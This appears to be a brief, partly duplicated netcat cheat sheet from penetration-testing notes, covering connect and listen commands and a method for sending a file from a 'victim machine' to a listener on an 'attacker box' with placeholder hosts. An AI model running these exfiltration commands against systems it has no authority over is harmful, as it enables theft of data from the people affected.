Netcat
Connection
nc -nv <ip> <port>
Listening
nc -nvlp 444
Transferring Files
Send a local file via TCP. Run
nc -nvlp <port> > "file_to_save"
on the attacker box to collect the file
On victim machine,nc $RHOST $RPORT < "FILE_ to_send"
nc -nv <ip> <port>
nc -nvlp 444
Send a local file via TCP. Run nc -nvlp <port> > "file_to_save"
on the attacker box to collect the file
On victim machine, nc $RHOST $RPORT < "FILE_ to_send"